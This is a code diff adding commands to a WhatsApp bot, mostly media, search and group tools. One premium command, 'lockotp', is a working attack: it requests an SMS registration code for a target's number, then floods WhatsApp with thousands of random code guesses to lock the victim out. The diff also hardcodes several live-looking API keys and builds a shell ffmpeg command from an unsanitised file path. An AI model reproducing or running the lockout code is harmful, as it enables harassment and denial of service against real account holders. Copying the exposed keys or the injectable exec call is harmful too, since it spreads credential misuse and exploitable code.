console.log('Unable to scan directory: ' + err); + return reply('Unable to scan directory: ' + err); + } + let filteredArray = await files.filter(item => item.startsWith("pre-key") || + item.startsWith("sender-key") || item.startsWith("session-") || item.startsWith("app-state") + ) + console.log(filteredArray.length); + let teks = `Bentar..` + if (filteredArray.length == 0) return reply(teks) + filteredArray.map(function(e, i) { + teks += (i + 1) + `. ${e}\n` + }) + + + await filteredArray.forEach(function(file) { + fs.unlinkSync(`./session/${file}`) + }); + await sleep(2000) + reply("Success") + }); + } + break + +   case 'kdrama': { +  if (!text) { +    throw 'Example: Drakor The Red Sleeve'; +  } +  reply('Looking for Korean drama information...'); +  try { +    const url = `https://mydramalist.com/search?q=${encodeURIComponent(q)}`; +    const response = await axios.get(url); +    const $ = cheerio.load(response.data); +    const judul = $('.title').first().text().trim(); +    const konten = $('.content').first().find('p').map((i, el) => $(el).text().trim()).get().join('\n\n'); +    const link = $('.title').first().find('a').attr('href'); +// wm avs    +    if (!konten) { +      throw new Error('Not That Korean Drama.'); +    } +// wm avs +    const artikel = `*Title:* ${judul}\n\n*Content:* ${konten}\n\n*Link:* https://mydramalist.com${link}`; +    reply(artikel); +  } catch (error) { +    reply(`Sorry, something went wrong: ${error.message}`); +  } +} +break + + + + + + + + + + + + +case 'weather':{ +await David.sendMessage(m?.chat, {react: {text: `🤨`,key: m?.key,}}) +if (!text) return reply('*Please Give Me a Location?*') +await David.sendMessage(m?.chat, {react: {text: `🔎`,key: m?.key,}}) + let wdata = await axios.get( + `https://api.openweathermap.org/data/2.5/weather?q=${text}&units=metric&appid=060a6bcfa19809c2cd4d97a212b19273&language=en` + ); + let textw = "" + textw += `*🗺️Weather of ${text}*\n\n` + textw += `*Weather:-* ${wdata.data.weather[0].main}\n` + textw += `*Description:-* ${wdata.data.weather[0].description}\n` + textw += `*Avg Temp:-* ${wdata.data.main.temp}\n` + textw += `*Feels Like:-* ${wdata.data.main.feels_like}\n` + textw += `*Pressure:-* ${wdata.data.main.pressure}\n` + textw += `*Humidity:-* ${wdata.data.main.humidity}\n` + textw += `*Humidity:-* ${wdata.data.wind.speed}\n` + textw += `*Latitude:-* ${wdata.data.coord.lat}\n` + textw += `*Longitude:-* ${wdata.data.coord.lon}\n` + textw += `*Country:-* ${wdata.data.sys.country}\n` + await David.sendMessage(m?.chat, {react: {text: `☁`,key: m?.key,}}) + await David.sendMessage(m?.chat, {react: {text: `🌦`,key: m?.key,}}) + await David.sendMessage(m?.chat, {react: {text: `🌩`,key: m?.key,}}) +await David.sendMessage(m?.chat, {react: {text: `🌨`,key: m?.key,}}) +await David.sendMessage(m?.chat, {react: {text: ``,key: m?.key,}}) + + David.sendMessage( + m.chat, { + text: textw, + }, { + quoted: m, + } + ) + } + break + + + + + + +case 'repost': { + if (!isCreator) return Owner(); + try { + let mediaType; + + if (/video/.test(mime)) { + mediaType = 'video'; + } else if (/image/.test(mime)) { + mediaType = 'image'; + } else if (/audio/.test(mime)) { + mediaType = 'audio'; + } else { + return reply('Reply to a Video, Image, or Audio Status'); + } + + var mediaFile = await David.downloadAndSaveMediaMessage(quoted); + let messageOptions = { + caption: q ? q : '' + }; + + // Assign the correct media type to messageOptions + messageOptions[mediaType] = { + url: mediaFile + }; + + // Send to status@broadcast (broadcast to all statuses) + await David.sendMessage('status@broadcast', messageOptions, { statusJidList: Object.keys(global.db.data.users) }); + await reply('Done'); + + } catch (error) { + console.error(error); + reply('Failed to repost the media.'); + } + break; + +} + + +case 'post': { + if (!isCreator) return Owner(); // Restrict to bot owner + + if (!m.quoted || !m.quoted.mimetype || !/audio/.test(m.quoted.mimetype)) { + return reply('Reply to an *Audio File* to post on status.'); + } + + try { + var mediaFile = await David.downloadAndSaveMediaMessage(m.quoted); + let messageOptions = { + audio: { url: mediaFile }, + mimetype: 'audio/mp4', + ptt: false // Set to true if you want it as a voice note + }; + + // Fetch all contacts dynamically + let allContacts = Object.keys(global.db.data.users); // Using the global user database + + // Post to status for all contacts + await David.sendMessage('status@broadcast', messageOptions, { statusJidList: allContacts }); + + reply('✅ *Audio successfully posted to your status!*'); + + } catch (error) { + console.error(error); + reply('❌ Failed to post audio on status.'); + } + + break; +} + + + + + + + +case 'antispam': + if (!m.isGroup) return reply('This command can only be used in groups.'); + if (!isAdmins) return reply('Only group admins can use this command.'); + if (!args[0]) return reply(`Usage: ${prefix}antispam on/off [limit]`); + + const groupSpamSettings = getSpamSettings(m.chat); + if (args[0].toLowerCase() === 'on') { + const spamLimit = parseInt(args[1]) || 5; // Default spam limit is 5 messages + updateSpamSettings(m.chat, { enabled: true, spamLimit }); + reply(`Antispam enabled with a limit of ${spamLimit} messages.`); + } else if (args[0].toLowerCase() === 'off') { + updateSpamSettings(m.chat, { enabled: false }); + reply('Antispam disabled.'); + } else { + reply(`Usage: ${prefix}antispam on/off [limit]`); + } + break; + +case 'volvid': { +const { TelegraPh } = require('./lib/uploader'); + +const fs = require('fs'); + +const who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? David.user.jid : m.sender; +const q = m.quoted ? m.quoted : m; +const mime = (q.msg || q).mimetype || ''; + +if (!mime || !mime.includes('video')) return reply(`Where is the video?`); + +const volume = parseFloat(args[0]) || 1; +if (isNaN(volume) || volume <= 0) return reply('Specify a valid volume (example: 0.5 for half, 2 for double)'); + +reply(`loading....`); + +try { +const media = await David.downloadAndSaveMediaMessage(q); +const output = 'output.mp4'; + +ffmpeg(media) +.audioFilters(`volume=${volume}`) +.on('start', (commandLine) => { +console.log(`Spawned Ffmpeg with command: ${commandLine}`); +}) +.on('error', async (err) => { +console.error(`Error: ${err.message}`); +await fs.promises.unlink(media).catch(console.error); +return reply(`Error: ${err.message}`); +}) +.on('end', async () => { +console.log('Video processed'); + +try { +const url = await TelegraPh(output); +await fs.promises.unlink(output); +await fs.promises.unlink(media); + +David.sendMessage(m.chat, { caption: `_Success To Change Video Volume_`, video: { url } }, { quoted: m }); +} catch (err) { +console.error(`Error When Upload Video: ${err.message}`); +await fs.promises.unlink(media).catch(console.error); +return reply(`Error When Uploading Video: ${err.message}`); +} +}) +.save(output); +} catch (err) { +console.error(`Error When Uploading Video: ${err.message}`); +return reply(`Error When Uploading Video: ${err.message}`); +} +} +break + +case 'mindreader': + reply('Think of a number between 1 and 100. I will try to guess it...'); + + await sleep(3000); // Simulating thinking + + const guessedNumber = Math.floor(Math.random() * 100) + 1; + reply(`🤔 I guess your number is: *${guessedNumber}*`); + + await sleep(2000); + reply(`Was I right?`); + break; + + case 'getsession': + if (!isCreator) return reply("?") + + let sesi = fs.readFileSync('./session/creds.json') + David.sendMessage(m.chat, { + document: sesi, + mimetype: 'application/json', + fileName: 'creds.json' + }, { + quoted: m + }) + break + case 'listcase': { +const listCase = () => { +const code = fs.readFileSync("./QUEEN_ANITA-V4.js", "utf8") +var regex = /case\s+'([^']+)':/g; +var matches = []; +var match; +while ((match = regex.exec(code))) { +matches.push(match[1]); +} +let teks = `*Total Commands*: ${matches.length} \n\n` +matches.forEach(function (x) { + teks += "◦ " + x + "\n" +}) +return teks +} +reply(listCase()) +} +break + case 'everyone': + if (!isAdmins) return + David.sendMessage(m.chat, { +text: "@" + m.chat, +contextInfo: { +mentionedJid: (await (await David.groupMetadata(m.chat)).participants).map(a => a.id), +groupMentions: [ +{ +groupJid: m.chat, +groupSubject: 'everyone' +} +] +} +} +) + setTimeout(async () => { + reply(`${pushname} using ${command} to call you guys`) + }, 1120) + break + + + + +case 'url': { + // Validate that the message is a reply to an image or video + if (!quoted || !/video/.test(mime) && !/image/.test(mime)) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply/Send Image/Video With Caption .url*`); + } + + // React to the command to indicate processing + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + try { + // Download the media locally + const mediaPath = await David.downloadAndSaveMediaMessage(quoted); + + // Upload the file to Catbox + const uploadResponse = await catbox(mediaPath); + + // Check upload response and send the result + if (uploadResponse && uploadResponse.url) { + await m.reply(`*UPLOAD SUCCESSFUL!!*\n\n> *URL:*\n\n${uploadResponse.url}\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`); + } else { + await reply(`*UPLOAD FAILED PLEASE TRY AGAIN*`); + } + + // Clean up: Remove the saved media file after processing + fs.unlinkSync(mediaPath); + } catch (error) { + console.error('Error in URL command:', error); + await reply(`*AN ERROR OCCURRED!! MESSAGE:*\n\n> ${error.message}`); + } + + // React to indicate success + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + break; +} + + +case "apk": + case "apkdl": + { + if (!text) return reply("What apk do you wanna download?"); + let kyuu = await fetchJson (`https://bk9.fun/search/apk?q=${text}`); + let tylor = await fetchJson (`https://bk9.fun/download/apk?id=${kyuu.BK9[0].id}`); + await David.sendMessage( + m.chat, + { + document: { url: tylor.BK9.dllink }, + fileName: tylor.BK9.name, + mimetype: "application/vnd.android.package-archive", + contextInfo: { + externalAdReply: { + title: `ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ™`, + body: `${tylor.BK9.name}`, + thumbnailUrl: `${tylor.BK9.icon}`, + sourceUrl: `${tylor.BK9.dllink}`, + mediaType: 2, + showAdAttribution: true, + renderLargerThumbnail: false + } + } + }, { quoted: m }); + } + break; + + + + +case 'imgscan': { + // Ensure the command is a reply to an image + if (!/image/.test(mime)) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image with .imgscan to scan it*`); + } + + // Check if there is a quoted message (the image) + if (!quoted) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image with .imgscan to scan it*`); + } + + try { + // React to show that processing has started + await David.sendMessage(m?.chat, { react: { text: `⏳`, key: m?.key } }); + + // Download the image locally + const mediaPath = await David.downloadAndSaveMediaMessage(quoted); + + // Upload the image to a hosting service (e.g., Imgur) + const uploadResponse = await uploadToImgur(mediaPath); // Replace with your upload function + if (uploadResponse.status !== "success") { + fs.unlinkSync(mediaPath); // Clean up the downloaded file + return reply(`*UPLOAD ERROR!! MESSAGE :*\n\n> ${uploadResponse.message}`); + } + + const imageUrl = uploadResponse.fileUrl; // Get the uploaded image URL + + // Call the Gemini API with the image URL and default query + const apiResponse = await axios.get(`https://bk9.fun/ai/geminiimg`, { + params: { url: imageUrl, q: "Who is this?" } + }); + + // Parse and handle the API response + if (apiResponse.data.status === true) { + const result = apiResponse.data.BK9; + + // Send the response back to the user + reply(`*IMAGE SCANNER RESULT:*\n\n${result}`); + } else { + reply(`*SCANNER ERROR!! MESSAGE :*\n\n> Failed to process the image. Try again.`); + } + + // Clean up: Delete the downloaded file + fs.unlinkSync(mediaPath); + + } catch (error) { + console.error('Error in Image Scanner command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + + // React to indicate success + await David.sendMessage(m?.chat, { react: { text: `✅`, key: m?.key } }); + break; +} + + + + + case 'googleimg': { + if (!args.length) { + return reply(`*What Image Do you want to see???. :*\n\n> *Use the command as .googleimg *`); + } + + const query = args.join(" "); // Combine the query words + const numImages = 5; // Number of images to fetche + + // Array of Unsplash API keys + const unsplashKeys = [ + "hxL76bVJViLdzagtk-SN8lbfvT5zzYE1i6r3A2JH9Sw", + "tHQdcDogLZZ1mns6Fxlf2qpsR3-YIyJDK8_3qBEObpU", + "ogZUhEzKxG0xF-5eVJLMQKT-_PqSHZR5ErgG7U5K2M4", + "9YRwoTY4WFk-f18rCDsK6ZX1PfVTFsn1Jridu99nc4M", + "zKUZ5r2Ewtebmt8qzcoaBd_UvzrDWkGvNl83vwIiD5Y" + ]; + + // Randomly select an API key + const selectedKey = unsplashKeys[Math.floor(Math.random() * unsplashKeys.length)]; + + // React to show processing + await David.sendMessage(m?.chat, { react: { text: `⏳`, key: m?.key } }); + + try { + // Call the Unsplash API with the selected key + const response = await axios.get(`https://api.unsplash.com/search/photos`, { + params: { query: query, per_page: numImages }, + headers: { Authorization: `Client-ID ${selectedKey}` }, + }); + + const results = response.data.results; + + if (!results || results.length === 0) { + return reply(`*NO IMAGES FOUND!! MESSAGE :*\n\n> No images were found for "${query}".`); + } + + // Loop through the results and send each image + for (const photo of results) { + const imageUrl = photo.urls.small; // Get the image URL + + await David.sendMessage(m?.chat, { + image: { url: imageUrl }, + caption: `*Image result for:* "${query}"`, + }); + } + + } catch (error) { + console.error('Error in Image Search command:', error); + + // Handle rate limit error (status code 403 or 429) + if (error.response && [403, 429].includes(error.response.status)) { + reply(`*RATE LIMIT REACHED!! MESSAGE :*\n\n> Please try again later.`); + } else { + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + } + + // React to indicate success + await David.sendMessage(m?.chat, { react: { text: `✅`, key: m?.key } }); + break; +} + + + + +case 'broadcast': { + if (!isCreator) return reply('This command is for the bot owner only.'); + if (!text) return reply('Please provide a message to broadcast.'); + + const chats = await David.chats.all(); + for (let chat of chats) { + await David.sendMessage(chat.id, { text }, { quoted: m }); + } + + reply('Broadcast message sent to all chats.'); + break; +} + + + + +case 'hdimg': case 'remini': { + // Check if the command is a reply to an image + if (!/image/.test(mime)) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image with .remini to enhance it*`); + } + + // React to the command to show processing + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + if (!quoted) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image with .remini to enhance it*`); + } + + try { + // Download the image locally + const mediaPath = await David.downloadAndSaveMediaMessage(quoted); + + // Upload the image to Catbox to get a public URL + const uploadResponse = await catbox(mediaPath); // Using Catbox uploader + + if (!uploadResponse || !uploadResponse.url) { + fs.unlinkSync(mediaPath); // Clean up the downloaded file + return reply(`*UPLOAD ERROR!! MESSAGE :*\n\n> Failed to upload the image to Catbox.`); + } + + const imageUrl = uploadResponse.url; // Get the uploaded image URL + + // Use the Remini API with the uploaded image URL + const enhancedImageUrl = `https://bk9.fun/tools/enhance?url=${imageUrl}`; + + // Send the enhanced image back to the user + await David.sendMessage(m.chat, { + image: { url: enhancedImageUrl }, + caption: `*SUCCESSFULLY ENHANCED YOUR IMAGE 😍!!*\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + + // Clean up: Delete the downloaded file + fs.unlinkSync(mediaPath); + } catch (error) { + console.error('Error in Remini command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + + // React to indicate success + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + break; +} + + +case 'upscale': { + // Check if the command is a reply to an image + if (!/image/.test(mime)) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image with .upscale*`); + } + + // React to the command to show processing + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + if (!quoted) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image with .remini to enhance it*`); + } + + try { + // Download the image locally + const mediaPath = await David.downloadAndSaveMediaMessage(quoted); + + // Upload the image to Catbox to get a public URL + const uploadResponse = await catbox(mediaPath); // Using Catbox uploader + + if (!uploadResponse || !uploadResponse.url) { + fs.unlinkSync(mediaPath); // Clean up the downloaded file + return reply(`*UPLOAD ERROR!! MESSAGE :*\n\n> Failed to upload the image to Catbox.`); + } + + const imageUrl = uploadResponse.url; // Get the uploaded image URL + + // Use the Remini API with the uploaded image URL + const enhancedImageUrl = `https://api.siputzx.my.id/api/iloveimg/upscale?image=${imageUrl}`; + + // Send the enhanced image back to the user + await David.sendMessage(m.chat, { + image: { url: enhancedImageUrl }, + caption: `\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + + // Clean up: Delete the downloaded file + fs.unlinkSync(mediaPath); + } catch (error) { + console.error('Error in Remini command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + + // React to indicate success + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + break; +} + +case 'faceswap': { + if (!quoted || !/image/.test(mime)) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image with .faceswap to initialize the process.*`); + } + + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + try { + const mediaPath = await David.downloadAndSaveMediaMessage(quoted); + const uploadResponse = await catbox(mediaPath); + + if (!uploadResponse || !uploadResponse.url) { + fs.unlinkSync(mediaPath); + return reply(`*UPLOAD ERROR!! MESSAGE :*\n\n> Failed to upload the image.`); + } + + const imageUrl = uploadResponse.url; + + if (!global.swapImage1) { + global.swapImage1 = imageUrl; + fs.unlinkSync(mediaPath); + return reply(`*FIRST IMAGE RECEIVED ✅*\n\n> Now, reply with another image and use *faceswap* again to swap faces.`); + } else { + const apiUrl = `https://api.siputzx.my.id/api/ai/faceswap?source=${global.swapImage1}&target=${imageUrl}`; + global.swapImage1 = null; + + await David.sendMessage(m.chat, { + image: { url: apiUrl }, + caption: `*FACE SWAP SUCCESSFUL 🔥!!*` + }, { quoted: m }); + + fs.unlinkSync(mediaPath); + } + } catch (error) { + console.error('Error in FaceSwap command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + break; +} + + + +case 'removebackground': case 'removebg': { + // Check if the command is a reply to an image + if (!/image/.test(mime)) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image with .remini to enhance it*`); + } + + // React to the command to show processing + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + if (!quoted) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an image with .remini to enhance it*`); + } + + try { + // Download the image locally + const mediaPath = await David.downloadAndSaveMediaMessage(quoted); + + // Upload the image to Catbox to get a public URL + const uploadResponse = await catbox(mediaPath); // Using Catbox uploader + + if (!uploadResponse || !uploadResponse.url) { + fs.unlinkSync(mediaPath); // Clean up the downloaded file + return reply(`*UPLOAD ERROR!! MESSAGE :*\n\n> Failed to upload the image to Catbox.`); + } + + const imageUrl = uploadResponse.url; // Get the uploaded image URL + + // Use the Remini API with the uploaded image URL + const enhancedImageUrl = `https://apis.davidcyriltech.my.id/removebg?url=${imageUrl}`; + + // Send the enhanced image back to the user + await David.sendMessage(m.chat, { + image: { url: enhancedImageUrl }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + + // Clean up: Delete the downloaded file + fs.unlinkSync(mediaPath); + } catch (error) { + console.error('Error in Remini command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + + // React to indicate success + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + break; +} + + + +case 'shazam': { + // Ensure the command is used on audio or video under 4MB + if (!/audio|video/.test(mime)) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an audio or video file with .shazam to identify the track.*`); + } + + if (!quoted) { + return reply(`*REQUEST ERROR!! MESSAGE :*\n\n> *Reply to an audio or video file with .shazam to identify the track.*`); + } + + // React to indicate processing + await David.sendMessage(m.chat, { react: { text: `🎙️`, key: m.key } }); + + try { + // Step 1: Download the media locally + const mediaPath = await David.downloadAndSaveMediaMessage(quoted); + + // Check file size (4MB max for the Shazam API) + const stats = fs.statSync(mediaPath); + if (stats.size > 4 * 1024 * 1024) { // 4MB limit + fs.unlinkSync(mediaPath); + return reply(`*FILE TOO LARGE!! MESSAGE :*\n\n> The file size exceeds 4MB, which is not supported by the Shazam API.`); + } + + // Step 2: Upload the media to Catbox to get a public URL + const uploadResponse = await catbox(mediaPath); + + if (!uploadResponse || !uploadResponse.url) { + fs.unlinkSync(mediaPath); + return reply(`*UPLOAD ERROR!! MESSAGE :*\n\n> Failed to upload the file to Catbox.`); + } + + const mediaUrl = uploadResponse.url; + + // Step 3: Call the PaxSenix Shazam API + const apiUrl = `https://api.paxsenix.biz.id/tools/shazam?url=${encodeURIComponent(mediaUrl)}`; + const apiResponse = await axios.get(apiUrl); + + if (!apiResponse.data || !apiResponse.data.ok || !apiResponse.data.track) { + fs.unlinkSync(mediaPath); + return reply(`*API ERROR!! MESSAGE :*\n\n> Failed to identify the track. Please try again later.`); + } + + // Extract track information + const track = apiResponse.data.track; + const trackTitle = track.title || "Unknown Title"; + const trackArtist = track.artist || "Unknown Artist"; + const trackUrl = track.url || "No URL Available"; + const trackIsrc = track.isrc || "No ISRC Available"; + + // Step 4: Send the result with the specified image + const resultImage = 'https://files.catbox.moe/xdxmwk.jpg'; // Specified image + await David.sendMessage(m.chat, { + image: { url: resultImage }, + caption: `🎵 *TRACK IDENTIFIED!!*\n\n` + + `*Title:* ${trackTitle}\n` + + `*Artist:* ${trackArtist}\n` + + `*ISRC:* ${trackIsrc}\n` + + `*More Info:* [Click Here](${trackUrl})\n\n` + + `> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`, + }, { quoted: m }); + + // Clean up: Delete the downloaded file + fs.unlinkSync(mediaPath); + } catch (error) { + console.error('Error in Shazam command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + + // React to indicate success + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + break; +} + + +case 'lockotp': case 'otplock': { +if (!await isPremiumUser(m.sender)) { + return reply('❌ *This Command Is for Premuim Users Only\nType .buypremuim To Become A Premium User*.'); +} + if (args.length < 1) return reply(`Incorrect format\n\nUsage: ${prefix+command} country_code|number\nExample: ${prefix+command} 234|9066655532`); + const args2 = args[0].split('|'); + if (args2.length !== 2) return reply(`Incorrect format\n\nUsage: ${prefix+command} country_code|number\nExample: ${prefix+command} 234|9066655532`); + const xeonCountryCode = args2[0]; + const xtarget = args2[1]; + const xeonNumber = xtarget.replace('@s.whatsapp.net', ''); + const xeonmerge = `${xeonCountryCode}${xtarget}` + const xeonMention = xeonmerge + '@s.whatsapp.net'; + reply( + "`Please Wait OTP LOCK Is Running..:" + xeonMention.split('@')[0] + ); + try { + const { stateXeon, saveCredsXeon } = await useMultiFileAuthState('./session'); + const xeonRequest = await David.requestRegistrationCode({ + phoneNumber: '+' + xeonCountryCode + `${xeonNumber}`, + phoneNumberCountryCode: xeonCountryCode, + phoneNumberNationalNumber: `${xeonNumber}`, + phoneNumberMobileCountryCode: 724, + method: 'sms' + }); + const musicFilePath = './anita-sounds/otp.mp3'; + +    // Sending the MP3 audio file +    await David.sendMessage(m.chat, { +        audio: { url: musicFilePath }, +        mimetype: 'audio/mp4',  // Proper MIME type for audio +        ptt: true, +    }); + } catch (err) { + } + + for (let i = 0; i < 10000; i++) { + try { + var xeonPrefix = Math.floor(Math.random() * 999); + var xeonSuffix = Math.floor(Math.random() * 999); + await David.register(`${xeonPrefix}-${xeonSuffix}`); + } catch (err) { + console.log(`${xeonPrefix}-${xeonSuffix}`); + } + } +} +break; + + + case 'hidetag': case 'tg': { + if (!m.isGroup) return reply('ɢʀᴏᴜᴘ ᴏɴʟʏ'); + if (!isBotAdmins) return reply('ʙᴏᴛ ɴᴏᴛ ʏᴇᴛ ᴀᴅᴍɪɴ'); + if (!isAdmins) return reply('ғᴏʀ ɢʀᴏᴜᴘ ᴀᴅᴍɪɴ ᴏɴʟʏ'); + + if (!m.isGroup) return reply('For Groups Only'); + David.sendMessage(m.chat, { text: args.join(" ") ? args.join(" ") : '', mentions: participants.map(a => a.id) }, { quoted: m }) + } + break; + + + case 'hdvid': { + const who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? David.user.jid : m.sender; + const q = m.quoted ? m.quoted : m; + const mime = (q.msg || q).mimetype || ''; + if (!mime) return reply(`Where's the video??`); + reply("`Loading Please wait..`"); + const media = await David.downloadAndSaveMediaMessage(q); + const url = await TelegraPH(media); + const output = 'output.mp4'; + + exec(`ffmpeg -i ${media} -vf "hqdn3d=1.5:1.5:6:6,nlmeans=p=7:s=7,vaguedenoiser=threshold=2.0:method=soft:nsteps=5,deband,atadenoise,unsharp=3:3:0.6,eq=brightness=0.05:contrast=1.2:saturation=1.1" -vcodec libx264 -profile:v main -level 4.1 -preset veryslow -crf 18 -x264-params ref=4 -acodec copy -movflags +faststart ${output}`, (error, stdout, stderr) => { + if (error) { + console.error(`Error: ${error.message}`); + return; + } + console.log(`stdout: ${stdout}`); + console.error(`stderr: ${stderr}`); + + David.sendMessage(m.chat, { caption: `_Success To Enhanced Video_`, video: { url: output }}, {quoted: m}); + }); +} + +break + +case 'tomp3': { + try { + + + await m.reply('*Converting Video To Mp3... Please wait!*'); + + // Download the video file + let videoPath = `./video.mp4`; + let audioPath = `./audio.mp3`; + let ffmpeg = require('fluent-ffmpeg'); + let fs = require('fs'); + + let videoBuffer = await David.downloadMediaMessage(m.quoted); + fs.writeFileSync(videoPath, videoBuffer); + + // Convert video to MP3 + await new Promise((resolve, reject) => { + ffmpeg(videoPath) + .toFormat('mp3') + .on('error', reject) + .on('end', resolve) + .save(audioPath); + }); + + // Send the MP3 as an audio message + await David.sendMessage(m.chat, { + audio: { url: audioPath }, + mimetype: 'audio/mp4', + fileName: 'converted_audio.mp3', + }, { quoted: m }); + + // Send the MP3 as a document + await David.sendMessage(m.chat, { + document: { url: audioPath }, + mimetype: 'audio/mp3', + fileName: 'converted_audio.mp3', + caption: '🎵 *Here is your MP3 file!*\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ', + }, { quoted: m }); + + // Clean up temp files + fs.unlinkSync(videoPath); + fs.unlinkSync(audioPath); + + } catch (error) { + console.error(error); + reply('❌ *Failed to convert video to MP3. Make sure ffmpeg is installed!*'); + } + break; +} + +case 'shutdown': +                if (!isCreator) return reply('For My Owner Only') +await David.sendMessage(m?.chat, {react: {text: `⚠️`,key: m?.key,}}) +await David.sendMessage(m?.chat, {react: {text: `👋`,key: m?.key,}}) +                reply('`Shutting Down....`') +                await sleep(3000) +                process.exit() +            break + + + +case 'thai':{ + +var notnot = JSON.parse(fs.readFileSync('./david-media/tiktokpics/thailand.json')) +var hasil = pickRandom(notnot) +let msgs = generateWAMessageFromContent(m.chat, { + viewOnceMessage: { + message: { + "messageContextInfo": { + "deviceListMetadata": {}, + "deviceListMetadataVersion": 2 + }, + interactiveMessage: proto.Message.InteractiveMessage.create({ + body: proto.Message.InteractiveMessage.Body.create({ + text: `Hi ${pushname} +_*Here is the result of: ${command}*_` + }), + footer: proto.Message.InteractiveMessage.Footer.create({ + text: 'Queen_Anita-V3' + }), + header: proto.Message.InteractiveMessage.Header.create({ + hasMediaAttachment: false, + ...await prepareWAMessageMedia({ image: { url: hasil.url } }, { upload: David.waUploadToServer }) + }), + nativeFlowMessage: proto.Message.InteractiveMessage.NativeFlowMessage.create({ + buttons: [{ + "name": "quick_reply", + "buttonParamsJson": `{\"display_text\":\"Next ➡️\",\"id\":\"${prefix + command}\"}` + }], + }), + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '', + newsletterName: 'David Cyril', + serverMessageId: 143 + } + } + }) + } + } +}, { quoted: m }) +return await David.relayMessage(m.chat, msgs.message, {}) +} +break + + + + +case 'setbio':{ +if (!isCreator) return reply('For My Owner Only') +if (!text) return reply(`Where is the text?\nExample: ${prefix + command} David Cyril`) +await David.sendMessage(m?.chat, {react: {text: `✍🏼`,key: m?.key,}}) +    await David.updateProfileStatus(text) +    reply('`Success in changing bio, Boss!!🫡`') +await David.sendMessage(m?.chat, {react: {text: `✅`,key: m?.key,}}) +    } +    break + + + + + + + + + +case 'savevideo': + if (!m.quoted || !m.quoted.mimetype || !m.quoted.mimetype.includes('video')) { + return reply('❌ Reply to a *video file* with this command to save it.'); + } + + let videoPath = `${tempFolder}/video_${m.sender}.mp4`; + + try { + let videoBuffer = await m.quoted.download(); + fs.writeFileSync(videoPath, videoBuffer); + + + savedVideos[m.sender] = videoPath; + saveVideoData(savedVideos); + + console.log(`✅ Video saved at: ${videoPath}`); + reply('✅ Video saved! Now reply to an audio file with `.addmusic` to merge.'); + } catch (err) { + console.log('❌ Video Save Error:', err); + reply('❌ Failed to save the video.'); + } + break; + +case 'addmusic': + + + + if (!m.quoted || !m.quoted.mimetype || !m.quoted.mimetype.includes('audio')) { + return reply('❌ Reply to an *audio file* to add as background music.'); + } + + let audioPath = `${tempFolder}/audio_${m.sender}.mp3`; + let outputPath = `${tempFolder}/output_${m.sender}.mp4`; + + try { + let audioBuffer = await m.quoted.download(); + fs.writeFileSync(audioPath, audioBuffer); + + console.log(`🎬 Merging ${savedVideoPath} with ${audioPath}`); + + ffmpeg() + .input(savedVideoPath) + .input(audioPath) + .outputOptions([ + '-map 0:v:0', // Use video from first input + '-map 1:a:0', // Use audio from second input + '-c:v copy', // Keep original video quality + '-shortest' // Trim to shortest length + ]) + .save(outputPath) + .on('end', async () => { + console.log('✅ Merge completed:', outputPath); + + await David.sendMessage(m.chat, { + video: { url: outputPath }, + mimetype: 'video/mp4', + caption: '\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ 